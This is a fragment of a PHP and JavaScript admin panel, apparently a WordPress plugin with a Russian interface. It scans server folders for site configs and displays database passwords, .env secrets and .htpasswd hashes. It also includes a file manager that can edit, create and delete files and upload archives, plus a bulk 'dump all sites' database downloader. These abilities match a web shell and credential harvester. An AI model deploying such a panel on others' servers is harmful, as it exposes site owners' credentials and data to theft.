            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/.env')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['env_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td><?php echo preg_match('/PASSWORD|SECRET|KEY/i',$k) ? '<span class="password">'.h($v).'</span>' : h($v); ?></td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['wp_vars'])): ?>
        <p class="section-label">wp-config.php
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/wp-config.php')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['wp_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td><?php echo stripos($k,'PASSWORD')!==false ? '<span class="password">'.h($v).'</span>' : h($v); ?></td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['joo_vars'])): ?>
        <p class="section-label">configuration.php (Joomla)
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/configuration.php')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['joo_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td><?php echo stripos($k,'password')!==false ? '<span class="password">'.h($v).'</span>' : h($v); ?></td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['htaccess_vars'])): ?>
        <p class="section-label">🔒 .htaccess — Basic Auth
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['path'].'/.htaccess')); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
        <?php foreach ($site['htaccess_vars'] as $k => $v): ?>
            <tr>
                <td><code><?php echo h($k); ?></code></td>
                <td>
                <?php
                if ($k === 'protected_files') {
                    $pf_items = array_map('trim', explode(',', $v));
                    foreach ($pf_items as $pf_item) {
                        $pf_clean = trim($pf_item, '"\'');
                        $pf_path  = $site['path'] . '/' . $pf_clean;
                        echo h($pf_item);
                        if (@file_exists($pf_path)) {
                            echo ' <button class="btn-view" onclick="viewFile(\'' . h(addslashes($pf_path)) . '\',\'' . h(addslashes($site['path'])) . '\')">👁</button>';
                        }
                        echo ' ';
                    }
                } else {
                    echo h($v);
                }
                ?>
                </td>
            </tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['htpasswd_users'])): ?>
        <p class="section-label">👤 .htpasswd — пользователи
            <span style="font-size:11px;color:#888;font-weight:normal;">(<?php echo h($site['htpasswd_file']); ?>)</span>
            <button class="btn-view" onclick="viewFile('<?php echo h(addslashes($site['htpasswd_file'])); ?>','<?php echo h(addslashes($site['path'])); ?>')">👁 Просмотр</button>
        </p>
        <table class="config-table">
            <tr><th>Логин</th><th>Хеш пароля</th><th>Действие</th></tr>
            <?php foreach ($site['htpasswd_users'] as $u): ?>
            <tr>
                <td><strong><?php echo h($u['user']); ?></strong></td>
                <td><span class="password" style="font-size:10px;word-break:break-all;" id="hash-<?php echo h($site['name'].'-'.$u['user']); ?>"><?php echo h($u['hash']); ?></span></td>
                <td>
                    <button class="btn-change" onclick="openModal('<?php echo h(addslashes($u['user'])); ?>','<?php echo h(addslashes($site['htpasswd_file'])); ?>','<?php echo h($site['name'].'-'.$u['user']); ?>')">🔓 Изменить пароль</button>
                </td>
            </tr>
            <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (!empty($site['nginx_vars']) && count($site['nginx_vars']) > 1): ?>
        <p class="section-label">🌐 Nginx конфиг</p>
        <table class="config-table">
        <?php foreach ($site['nginx_vars'] as $k => $v): ?>
            <tr><td><code><?php echo h($k); ?></code></td><td><?php echo h($v); ?></td></tr>
        <?php endforeach; ?>
        </table>
    <?php endif; ?>

    <?php if (empty($site['env_vars'])&&empty($site['wp_vars'])&&empty($site['joo_vars'])&&empty($site['has_db_creds'])&&empty($site['htaccess_vars'])&&empty($site['htpasswd_users'])&&(empty($site['nginx_vars'])||count($site['nginx_vars'])<=1)): ?>
        <p style="color:#999;margin:0;">Нет найденных конфигов</p>
    <?php endif; ?>
</div>
<?php endforeach; ?>
</div>

<p style="margin-top:15px;color:#999;font-size:12px;">Сканирование завершено. Найдено папок: <?php echo $total; ?>.</p>

<!-- ===== ФАЙЛОВЫЙ МЕНЕДЖЕР ===== -->
<div class="fm-overlay" id="fm-overlay">
    <div class="fm-modal">
        <div class="fm-header">
            <span class="fm-title">📁 <span id="fm-site-name"></span></span>
            <span class="fm-breadcrumb" id="fm-breadcrumb"></span>
            <div class="fm-header-actions">
                <button class="fm-btn" onclick="fmImportArchive()">📦 Импорт архива</button>
                <button class="fm-btn" onclick="fmNewFile()">➕ Новый файл</button>
                <button class="fm-btn" onclick="fmCopyPath()">📋 Путь</button>
                <button class="fm-btn-close" onclick="closeFM()">✕</button>
            </div>
        </div>
        <div class="fm-body" id="fm-body">
            <div class="fm-list-pane" id="fm-list-pane">
                <div class="fm-loading">⏳ Загрузка...</div>
            </div>
            <!-- ПАНЕЛЬ ПРОСМОТРА -->
            <div class="fm-view-pane" id="fm-view-pane" style="display:none;">
                <div class="fm-view-header">
                    <span class="fm-view-filename" id="fm-view-filename"></span>
                    <span class="fm-view-meta" id="fm-view-meta"></span>
                    <button class="fm-btn" onclick="fmCopyContent()">📋</button>
                    <button class="fm-btn-act" id="fm-btn-rename" onclick="fmRenameSelected()">✏️ Имя</button>
                    <button class="fm-btn-act danger" id="fm-btn-delete" onclick="fmDeleteSelected()">🗑️</button>
                    <button class="fm-btn-edit" id="fm-btn-edit" onclick="fmStartEdit()">✏️ Редактировать</button>
                </div>
                <div class="fm-view-body" id="fm-view-body">
                    <div class="fm-view-empty">← Выберите файл для просмотра</div>
                </div>
            </div>
            <!-- ПАНЕЛЬ РЕДАКТОРА -->
            <div class="fm-edit-pane" id="fm-edit-pane" style="display:none;">
                <div class="fm-edit-header">
                    <span class="fm-edit-filename">✏️ <span id="fm-edit-filename"></span></span>
                    <span class="fm-edit-status" id="fm-edit-status"></span>
                    <button class="fm-btn-save-file" onclick="fmSaveFile()">💾 Сохранить</button>
                    <button class="fm-btn-discard"   onclick="fmDiscardEdit()">✕ Отмена</button>
                </div>
                <div class="fm-edit-body">
                    <textarea class="fm-editor" id="fm-editor" spellcheck="false"></textarea>
                </div>
            </div>
        </div>
        <div class="fm-footer">
            <span id="fm-status"></span>
            <span id="fm-selected-path" style="font-family:monospace;font-size:11px;"></span>
        </div>
    </div>
</div>
<input type="file" id="fm-archive-input" accept=".zip,application/zip" style="display:none;">

<!-- МОДАЛЬНОЕ ОКНО ПРОСМОТРА КОНФИГА -->
<div class="view-modal-overlay" id="view-modal-overlay">
    <div class="view-modal">
        <div class="view-modal-header">
            <span class="view-modal-title" id="view-modal-title">файл</span>
            <div class="view-modal-actions">
                <button class="btn-copy-file" onclick="copyFileContent()">📋 Копировать</button>
                <button class="btn-close-view" onclick="closeViewModal()">✕</button>
            </div>
        </div>
        <div class="view-modal-body" id="view-modal-body"><div class="view-loading">Загрузка...</div></div>
        <div class="view-modal-footer">
            <span id="view-modal-path"></span>
            <span id="view-modal-size"></span>
        </div>
    </div>
</div>

<!-- МОДАЛЬНОЕ ОКНО СОЗДАНИЯ ФАЙЛА -->
<div class="modal-overlay" id="fm-newfile-overlay" style="z-index:1300;">
    <div class="modal" style="max-width:600px;">
        <h3>➕ Создать новый файл</h3>
        <p style="font-size:12px;color:#555;margin:0 0 12px;">
            Директория: <code id="fm-newfile-dir" style="font-size:10px;word-break:break-all;"></code>
        </p>
        <label>Имя файла</label>
        <input type="text" id="fm-newfile-name" placeholder="например: config.php" autocomplete="off">
        <label>Содержимое (необязательно)</label>
        <textarea id="fm-newfile-content" style="width:100%;height:200px;border:1px solid #ccc;border-radius:5px;padding:8px 10px;font-family:'Consolas','Monaco',monospace;font-size:12px;resize:vertical;tab-size:4;" placeholder="Вставьте содержимое файла..."></textarea>
        <div class="modal-msg" id="fm-newfile-msg"></div>
        <div class="modal-actions">
            <button class="btn-cancel" onclick="closeNewFileModal()">Отмена</button>
            <button class="btn-save"   onclick="fmCreateFile()">💾 Создать</button>
        </div>
    </div>
</div>

<!-- Просмотр данных БД (обзор сайтов) -->
<div class="modal-overlay" id="site-db-view-overlay">
    <div class="modal" style="max-width:560px;">
        <h3>👁 <span id="site-db-view-title">База данных</span></h3>
        <p style="font-size:11px;color:#888;margin:0 0 12px;" id="site-db-view-path"></p>
        <div id="site-db-view-body"></div>
        <div class="modal-actions" style="margin-top:14px;">
            <button type="button" class="btn-cancel" onclick="siteCloseDbView()">Закрыть</button>
        </div>
    </div>
</div>

<!-- Редактирование конфига БД (обзор сайтов) -->
<div class="modal-overlay" id="site-db-edit-overlay">
    <div class="modal" style="max-width:640px;">
        <h3>✏️ <span id="site-db-edit-title">Конфиг БД</span></h3>
        <p style="font-size:11px;color:#555;margin:0 0 10px;">
            Вставьте содержимое <code>wp-config.php</code>, <code>.env</code> или <code>configuration.php</code> — поля DB_NAME, DB_USER, DB_PASSWORD, DB_HOST, DB_CHARSET будут извлечены и сохранены для дампа.
        </p>
        <textarea id="site-db-edit-snippet" style="width:100%;height:180px;border:1px solid #ccc;border-radius:5px;padding:8px 10px;font-family:Consolas,Monaco,monospace;font-size:11px;resize:vertical;" placeholder="define('DB_NAME', '...');"></textarea>
        <div class="db-dump-actions" style="margin-top:8px;">
            <button type="button" class="btn-dump" onclick="siteParseDbSnippet()">🔍 Распознать</button>
            <button type="button" class="btn-save" onclick="siteSaveDbCreds()">💾 Сохранить</button>
        </div>
        <div class="modal-msg" id="site-db-edit-msg"></div>
        <div id="site-db-edit-preview" style="font-size:11px;margin-top:8px;"></div>
        <div class="modal-actions">
            <button type="button" class="btn-cancel" onclick="siteCloseDbEdit()">Отмена</button>
        </div>
    </div>
</div>

<!-- МОДАЛЬНОЕ ОКНО СМЕНЫ ПАРОЛЯ -->
<div class="modal-overlay" id="modal-overlay">
    <div class="modal">
        <h3>🔓 Изменить пароль</h3>
        <p style="font-size:12px;color:#555;margin:0 0 12px;">
            Пользователь: <strong id="modal-username"></strong><br>
            Файл: <code id="modal-filepath" style="font-size:10px;word-break:break-all;"></code>
        </p>
        <label>Новый пароль</label>
        <div class="pw-wrap">
            <input type="password" id="modal-password" placeholder="Введите новый пароль" autocomplete="new-password">
            <span class="pw-toggle" onclick="togglePw()">👁</span>
        </div>
        <label>Повторите пароль</label>
        <div class="pw-wrap">
            <input type="password" id="modal-password2" placeholder="Повторите пароль" autocomplete="new-password">
            <span class="pw-toggle" onclick="togglePw2()">👁</span>
        </div>
        <div class="modal-msg" id="modal-msg"></div>
        <div class="hash-new" id="modal-new-hash"></div>
        <div class="modal-actions">
            <button class="btn-cancel" onclick="closeModal()">Отмена</button>
            <button class="btn-save"   onclick="savePassword()">💾 Сохранить</button>
        </div>
    </div>
</div>

<script>

// ===== ОБЗОР САЙТОВ: БД, статус, конфиги =====
var APP_ENDPOINT_URL = <?php echo json_encode(up_to_wp_endpoint_url_value(), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>;
var APP_ACTION_FIELD = <?php echo json_encode(up_to_wp_action_param(), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>;
var _siteEditCtx = null;
var _siteEditParsed = null;

function appPost(fd) {
    return fetch(APP_ENDPOINT_URL || window.location.href, {
        method: 'POST',
        body: fd,
        credentials: 'same-origin'
    }).then(function(r) {
        return r.text().then(function(t) {
            try {
                return JSON.parse(t);
            } catch (e) {
                var preview = (t || '').replace(/\s+/g, ' ').trim().substring(0, 220);
                throw new Error(preview.indexOf('Требуется авторизация') !== -1
                    ? 'Доступ запрещён. Обновите страницу плагина.'
                    : (preview || 'Сервер вернул не JSON'));
            }
        });
    });
}

function toggleConfigsPanel() {
    var panel = document.getElementById('configs-panel');
    var icon = document.getElementById('configs-toggle-icon');
    if (!panel) return;
    var open = panel.classList.toggle('open');
    panel.style.display = open ? 'block' : 'none';
    if (icon) icon.textContent = open ? '▼' : '▶';
}
function siteShowDbInfo(site) {
    document.getElementById('site-db-view-title').textContent = site.name || 'База данных';
    document.getElementById('site-db-view-path').textContent = site.path || '';
    var body = document.getElementById('site-db-view-body');
    var rows = site.db_info || [];
    if (!rows.length && site.db_creds) {
        var c = site.db_creds;
        rows = [
            { k: 'DB host', v: (c.db_host || '') + (c.db_port ? ':' + c.db_port : ''), secret: false },
            { k: 'DB name', v: c.db_name || '', secret: false },
            { k: 'DB user', v: c.db_user || '', secret: false },
            { k: 'DB password', v: c.db_pass || '', secret: true },
            { k: 'DB charset', v: c.db_charset || '', secret: false }
        ];
    }
    if (!rows.length) {
        body.innerHTML = '<p style="color:#999;font-size:12px;">Данные БД не найдены. Нажмите ✏️ и вставьте конфиг.</p>';
    } else {
        var html = '<table class="db-info-table"><tbody>';
        for (var i = 0; i < rows.length; i++) {
            var r = rows[i];
            var val = r.secret ? '<span class="password">' + escHtml(r.v) + '</span>' : escHtml(r.v);
            html += '<tr><th>' + escHtml(r.k) + '</th><td>' + val + '</td></tr>';
        }
        html += '</tbody></table>';
        body.innerHTML = html;
    }
    document.getElementById('site-db-view-overlay').classList.add('active');
}
function siteCloseDbView() {
    document.getElementById('site-db-view-overlay').classList.remove('active');
}
function siteEditDbConfig(site) {
    _siteEditCtx = site;
    _siteEditParsed = null;
    document.getElementById('site-db-edit-title').textContent = site.name || 'Конфиг БД';
    document.getElementById('site-db-edit-snippet').value = '';
    document.getElementById('site-db-edit-preview').innerHTML = '';
    var msg = document.getElementById('site-db-edit-msg');
    msg.className = 'modal-msg';
    msg.textContent = '';
    document.getElementById('site-db-edit-overlay').classList.add('active');
}
function siteCloseDbEdit() {
    document.getElementById('site-db-edit-overlay').classList.remove('active');
    _siteEditCtx = null;
    _siteEditParsed = null;
}
function siteRenderDbPreview(fields) {
    var el = document.getElementById('site-db-edit-preview');
    if (!fields) { el.innerHTML = ''; return; }
    var keys = ['db_host', 'db_port', 'db_name', 'db_user', 'db_pass', 'db_charset'];
    var labels = { db_host: 'Host', db_port: 'Port', db_name: 'DB_NAME', db_user: 'DB_USER', db_pass: 'DB_PASSWORD', db_charset: 'DB_CHARSET' };
    var html = '<table class="db-info-table"><tbody>';
    for (var i = 0; i < keys.length; i++) {
        var k = keys[i];
        if (!fields[k] && k !== 'db_pass') continue;
        var v = fields[k] || '';
        if (k === 'db_pass') v = v ? '••••••' : '';
        html += '<tr><th>' + labels[k] + '</th><td><code>' + escHtml(String(v)) + '</code></td></tr>';
    }
    html += '</tbody></table>';
    el.innerHTML = html;
}
function siteParseDbSnippet() {
    if (!_siteEditCtx) return;
    var msg = document.getElementById('site-db-edit-msg');
    msg.className = 'modal-msg';
    msg.textContent = '⏳ Распознаём...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'parse_db_config');
    fd.append('config_snippet', document.getElementById('site-db-edit-snippet').value);
    appPost(fd)
        .then(function(data) {
            if (!data.success) {
                msg.className = 'modal-msg error';
                msg.textContent = data.error || 'Ошибка';
                return;
            }
            _siteEditParsed = data.fields;
            siteRenderDbPreview(data.fields);
            msg.className = 'modal-msg ' + (data.complete ? 'success' : 'error');
            msg.textContent = data.complete ? '✅ Поля распознаны' : '⚠️ Укажите db_name и db_user';
        })
        .catch(function(e) {
            msg.className = 'modal-msg error';
            msg.textContent = e.message;
        });
}
function siteSaveDbCreds() {
    if (!_siteEditCtx) return;
    var msg = document.getElementById('site-db-edit-msg');
    var snippet = document.getElementById('site-db-edit-snippet').value;
    if (!snippet.trim() && !_siteEditParsed) {
        msg.className = 'modal-msg error';
        msg.textContent = 'Вставьте конфиг или нажмите «Распознать»';
        return;
    }
    msg.className = 'modal-msg';
    msg.textContent = '⏳ Сохранение...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'save_site_db_creds');
    fd.append('site_path', _siteEditCtx.path);
    fd.append('config_snippet', snippet);
    appPost(fd)
        .then(function(data) {
            if (!data.success) {
                msg.className = 'modal-msg error';
                msg.textContent = data.error || 'Ошибка';
                return;
            }
            msg.className = 'modal-msg success';
            msg.textContent = '✅ Сохранено. Обновите страницу для обновления таблицы.';
            _siteEditParsed = data.fields;
            siteRenderDbPreview(data.fields);
            setTimeout(function() { location.reload(); }, 600);
        })
        .catch(function(e) {
            msg.className = 'modal-msg error';
            msg.textContent = e.message;
        });
}
function siteFetchJson(fd) {
    return appPost(fd);
}
function siteStatusApplyRowClass(row, status) {
    if (!row) return;
    row.setAttribute('data-status', status);
    row.classList.remove('row-site-pending', 'row-site-off', 'row-site-unknown');
    if (status === 'pending') row.classList.add('row-site-pending');
    else if (status === 'off') row.classList.add('row-site-off');
    else if (status === 'unknown') row.classList.add('row-site-unknown');
}
function siteStatusChanged(sel) {
    var status = sel.value;
    sel.className = 'site-status-sel status-' + status + (sel.getAttribute('data-initial') !== status ? ' dirty' : '');
    siteStatusApplyRowClass(sel.closest('tr'), status);
    siteUpdateSaveStatusesButton();
}
function siteUpdateSaveStatusesButton() {
    var dirty = document.querySelectorAll('.site-status-sel.dirty').length > 0;
    var btn = document.getElementById('btn-save-statuses');
    if (btn) btn.disabled = !dirty;
}
function siteCollectStatuses() {
    var map = {};
    document.querySelectorAll('.site-status-sel').forEach(function(sel) {
        var key = sel.getAttribute('data-site-key');
        if (key) map[key] = sel.value;
    });
    return map;
}
function siteSaveAllStatuses() {
    var msg = document.getElementById('site-status-msg');
    var btn = document.getElementById('btn-save-statuses');
    if (btn) btn.disabled = true;
    if (msg) { msg.className = 'site-status-msg'; msg.textContent = '⏳ Сохранение...'; }
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'save_site_statuses');
    fd.append('statuses', JSON.stringify(siteCollectStatuses()));
    siteFetchJson(fd)
        .then(function(data) {
            if (!data.success) {
                if (msg) { msg.className = 'site-status-msg error'; msg.textContent = data.error || 'Ошибка'; }
                siteUpdateSaveStatusesButton();
                return;
            }
            document.querySelectorAll('.site-status-sel').forEach(function(sel) {
                sel.setAttribute('data-initial', sel.value);
                sel.classList.remove('dirty');
                sel.className = 'site-status-sel status-' + sel.value;
            });
            if (msg) {
                msg.className = 'site-status-msg ok';
                msg.textContent = '✅ Сохранено (' + (data.count || 0) + ' сайтов)';
            }
            siteUpdateSaveStatusesButton();
        })
        .catch(function(e) {
            if (msg) { msg.className = 'site-status-msg error'; msg.textContent = e.message; }
            siteUpdateSaveStatusesButton();
        });
}
function siteFilterByStatus() {
    var onlyOff = document.getElementById('filter-status-off');
    var onlyUnknown = document.getElementById('filter-status-unknown');
    var offOn = onlyOff && onlyOff.checked;
    var unkOn = onlyUnknown && onlyUnknown.checked;
    document.querySelectorAll('#sites-overview-table tbody tr').forEach(function(row) {
        var st = row.getAttribute('data-status') || 'pending';
        var show = true;
        if (offOn || unkOn) {
            show = (offOn && st === 'off') || (unkOn && st === 'unknown');
        }
        row.style.display = show ? '' : 'none';
    });
}

// ===== DB DUMPER =====
var _sitesDbList = <?php echo json_encode($sites_db_dump_list, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); ?>;
var _dbParsedFields = null;

function dbSetFields(f) {
    if (!f) return;
    document.getElementById('db-host').value = f.db_host || '127.0.0.1';
    document.getElementById('db-port').value = f.db_port || '3306';
    document.getElementById('db-name').value = f.db_name || '';
    document.getElementById('db-user').value = f.db_user || '';
    document.getElementById('db-pass').value = f.db_pass || '';
    document.getElementById('db-charset').value = f.db_charset || 'utf8mb4';
}
function dbParseSnippet() {
    var msg = document.getElementById('db-parse-msg');
    msg.className = 'db-dump-msg';
    msg.textContent = '⏳ Распознаём...';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'parse_db_config');
    fd.append('config_snippet', document.getElementById('db-config-snippet').value);
    appPost(fd)
        .then(function(data) {
            if (!data.success) {
                msg.className = 'db-dump-msg error';
                msg.textContent = '❌ ' + (data.error || 'Ошибка');
                return;
            }
            _dbParsedFields = data.fields;
            dbSetFields(data.fields);
            msg.className = 'db-dump-msg ok';
            msg.textContent = data.complete
                ? '✅ Поля распознаны (host, БД, пользователь)'
                : '⚠️ Частично: проверьте db_name и db_user';
        })
        .catch(function(e) {
            msg.className = 'db-dump-msg error';
            msg.textContent = '❌ ' + e.message;
        });
}
function dbFillFromSnippet() {
    dbParseSnippet();
}
function dbBuildDumpFormData(extra) {
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'dump_database');
    fd.append('db_host', extra.db_host || document.getElementById('db-host').value);
    fd.append('db_port', extra.db_port || document.getElementById('db-port').value);
    fd.append('db_name', extra.db_name || document.getElementById('db-name').value);
    fd.append('db_user', extra.db_user || document.getElementById('db-user').value);
    fd.append('db_pass', extra.db_pass !== undefined ? extra.db_pass : document.getElementById('db-pass').value);
    fd.append('db_charset', extra.db_charset || document.getElementById('db-charset').value);
    fd.append('site_url', extra.site_url || document.getElementById('db-site-url').value);
    fd.append('cms', extra.cms || document.getElementById('db-cms').value);
    fd.append('site_name', extra.site_name || '');
    fd.append('notes', extra.notes || '');
    return fd;
}
function dbDownloadBlob(fd, statusEl) {
    if (statusEl) { statusEl.className = 'db-dump-msg'; statusEl.textContent = '⏳ Создаём дамп...'; }
    return fetch(APP_ENDPOINT_URL || window.location.href, { method: 'POST', body: fd, credentials: 'same-origin' })
        .then(function(r) {
            var ct = (r.headers.get('Content-Type') || '').toLowerCase();
            if (ct.indexOf('application/json') !== -1) {
                return r.json().then(function(j) {
                    throw new Error(j.error || 'Ошибка дампа');
                });
            }
            if (!r.ok) throw new Error('HTTP ' + r.status);
            var disp = r.headers.get('Content-Disposition') || '';
            var m = disp.match(/filename="?([^";]+)"?/i);
            var fname = m ? m[1] : 'dump.sql.gz';
            return r.blob().then(function(blob) {
                var url = URL.createObjectURL(blob);
                var a = document.createElement('a');
                a.href = url;
                a.download = fname;
                document.body.appendChild(a);
                a.click();
                a.remove();
                URL.revokeObjectURL(url);
                return fname;
            });
        })
        .then(function(fname) {
            if (statusEl) {
                statusEl.className = 'db-dump-msg ok';
                statusEl.textContent = '✅ Скачан: ' + fname;
            }
            return fname;
        })
        .catch(function(e) {
            if (statusEl) {
                statusEl.className = 'db-dump-msg error';
                statusEl.textContent = '❌ ' + e.message;
            }
            throw e;
        });
}
function dbDumpManual() {
    dbDownloadBlob(dbBuildDumpFormData({}), document.getElementById('db-dump-msg'));
}
function dbDumpSite(site) {
    var c = site.db_creds || {};
    var extra = {
        db_host: c.db_host, db_port: c.db_port, db_name: c.db_name,
        db_user: c.db_user, db_pass: c.db_pass, db_charset: c.db_charset,
        site_url: site.site_url || '', cms: site.cms || '', site_name: site.name || ''
    };
    dbDownloadBlob(dbBuildDumpFormData(extra), document.getElementById('db-dump-msg'));
}
function dbParseSiteSnippet(siteName, cms, siteUrl) {
    var ta = null;
    var tas = document.querySelectorAll('.db-site-snippet');
    for (var i = 0; i < tas.length; i++) {
        if (tas[i].getAttribute('data-site') === siteName) { ta = tas[i]; break; }
    }
    if (!ta || !ta.value.trim()) {
        alert('Вставьте конфиг в поле для сайта «' + siteName + '»');
        return;
    }
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD, 'parse_db_config');
    fd.append('config_snippet', ta.value);
    appPost(fd)
        .then(function(data) {
            if (!data.success || !data.complete) {
                alert(data.error || 'Не удалось распознать db_name и db_user');
                return;
            }
            var f = data.fields;
            dbSetFields(f);
            document.getElementById('db-site-url').value = siteUrl || siteName;
            document.getElementById('db-cms').value = cms || '';
            return dbDownloadBlob(dbBuildDumpFormData({
                db_host: f.db_host, db_port: f.db_port, db_name: f.db_name,
                db_user: f.db_user, db_pass: f.db_pass, db_charset: f.db_charset,
                site_url: siteUrl || siteName, cms: cms || '', site_name: siteName
            }), document.getElementById('db-dump-msg'));
        })
        .catch(function(e) { alert('❌ ' + e.message); });
}
function dbDumpAllSites() {
    if (!_sitesDbList || !_sitesDbList.length) return;
    var btn = document.getElementById('btn-dump-all');
    if (btn) btn.disabled = true;
    var msg = document.getElementById('db-dump-msg');
    var i = 0;
    function next() {
        if (i >= _sitesDbList.length) {
            if (btn) btn.disabled = false;
            if (msg) { msg.className = 'db-dump-msg ok'; msg.textContent = '✅ Все дампы поставлены в очередь (' + _sitesDbList.length + ')'; }
            return;
        }
        var site = _sitesDbList[i++];
        if (msg) msg.textContent = '⏳ ' + i + '/' + _sitesDbList.length + ': ' + site.name + '...';
        dbDumpSite(site).then(function() {
            setTimeout(next, 800);
        }).catch(function() {
            setTimeout(next, 800);
        });
    }
    next();
}


// ===== ФАЙЛОВЫЙ МЕНЕДЖЕР =====
var _fmRoot      = '';
var _fmCurrent   = '';
var _fmSiteName  = '';
var _fmEditPath  = '';
var _fmEditOrig  = '';

var _extIcons = {
    'php':'🐘','js':'📜','css':'🎨','html':'🌐','htm':'🌐',
    'json':'📋','xml':'📋','sql':'🗄️','txt':'📄','log':'📄',
    'md':'📝','env':'🔑','htaccess':'🔒','htpasswd':'🔒',
    'jpg':'🖼️','jpeg':'🖼️','png':'🖼️','gif':'🖼️','svg':'🖼️','webp':'🖼️',
    'zip':'📦','tar':'📦','gz':'📦','rar':'📦',
    'sh':'⚙️','py':'🐍','rb':'💎','go':'🔵',
    'conf':'⚙️','ini':'⚙️','yaml':'⚙️','yml':'⚙️',
};
var _textExts = ['php','js','css','html','htm','json','xml','sql','txt','log','md','env',
    'htaccess','htpasswd','conf','ini','yaml','yml','sh','py','rb','go','csv','ts','jsx','vue','twig','blade'];

function extIcon(ext, name) {
    if (name === '..') return '⬆️';
    var e = ext || name.replace(/^.*\./,'').toLowerCase();
    return _extIcons[e] || '📄';
}

function openFM(path, siteName) {
    _fmRoot = path; _fmSiteName = siteName;
    document.getElementById('fm-site-name').textContent = siteName;
    document.getElementById('fm-overlay').classList.add('active');
    document.getElementById('fm-view-pane').style.display = 'none';
    document.getElementById('fm-edit-pane').style.display = 'none';
    document.getElementById('fm-list-pane').classList.remove('split');
    fmLoad(path);
}
function closeFM() { document.getElementById('fm-overlay').classList.remove('active'); }

function fmLoad(dir) {
    _fmCurrent = dir;
    document.getElementById('fm-breadcrumb').textContent = dir;
    document.getElementById('fm-list-pane').innerHTML = '<div class="fm-loading">⏳ Загрузка...</div>';
    document.getElementById('fm-status').textContent = '';
    var fd = new FormData();
    fd.append(APP_ACTION_FIELD,'list_files'); fd.append('dir',dir); fd.append('site_root',_fmRoot);
    appPost(fd)
        .then(function(data) {
            if (!data.success) {
                document.getElementById('fm-list-pane').innerHTML =
                    '<div class="fm-loading" style="color:#c62828;">❌ '+data.error+'</div>'; return;
            }
            renderFMList(data.items, data.current, data.root);
        })
        .catch(function(e) {
            document.getElementById('fm-list-pane').innerHTML =
                '<div class="fm-loading" style="color:#c62828;">❌ '+e.message+'</div>';
        });
}

function renderFMList(items, current, root) {
    var dirs=0, files=0, totalSize=0;
    var html='<table class="fm-table"><thead><tr><th>Имя</th><th>Размер</th><th>Изменён</th><th></th></tr></thead><tbody>';
    items.forEach(function(item) {
        var icon, nameClass, onclick, actions='';
        if (item.name==='..') {
            icon='⬆️'; nameClass='fm-name is-up';
            var parent=current.replace(/\/[^\/]+$/,'')||root;
            onclick="fmLoad('"+escJs(parent)+"')";
        } else if (item.is_dir) {
            icon='📁'; nameClass='fm-name is-dir'; dirs++;
            onclick="fmLoad('"+escJs(item.path)+"')";
            actions='<button class="fm-btn-act" onclick="event.stopPropagation();fmRenameItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',true)">✏️</button>'
                +'<button class="fm-btn-act danger" onclick="event.stopPropagation();fmDeleteItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',true)">🗑️</button>';
        } else {
            icon=extIcon(item.ext,item.name); nameClass='fm-name'; files++;
            totalSize+=item.size||0;
            onclick="fmOpenFile('"+escJs(item.path)+"','"+escJs(item.name)+"',"+(item.size||0)+",'"+escJs(item.ext)+"')";
            actions='<button class="fm-btn-act" onclick="event.stopPropagation();fmRenameItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',false)">✏️</button>'
                +'<button class="fm-btn-act danger" onclick="event.stopPropagation();fmDeleteItem(\''+escJs(item.path)+'\',\''+escJs(item.name)+'\',false)">🗑️</button>';
        }
        html+='<tr onclick="'+onclick+'">';
        html+='<td><span class="fm-icon">'+icon+'</span><span class="'+nameClass+'">'+escHtml(item.name)+'</span></td>';
        html+='<td class="fm-size">'+(item.is_dir&&item.name!=='..'?'':fmFmtSize(item.size))+'</td>';
        html+='<td class="fm-mtime">'+(item.mtime||'')+'</td>';
        html+='<td class="fm-actions">'+actions+'</td>';
        html+='</tr>';
    });
    html+='</tbody></table>';
    document.getElementById('fm-list-pane').innerHTML=html;
    document.getElementById('fm-status').textContent=
        '📁 '+dirs+' папок · 📄 '+files+' файлов · '+fmFmtSize(totalSize);
}

function fmOpenFile(path, name, size, ext) {
    document.getElementById('fm-selected-path').textContent = path;
    document.getElementById('fm-list-pane').classList.add('split');
    document.getElementById('fm-edit-pane').style.display = 'none';
    document.getElementById('fm-view-pane').style.display = 'flex';
    document.getElementById('fm-view-filename').textContent = name;
    document.getElementById('fm-view-meta').textContent = fmFmtSize(size);
    document.getElementById('fm-btn-edit').style.display = '';
    document.getElementById('fm-view-body').innerHTML = '<div class="fm-loading">⏳ Загрузка...</div>';

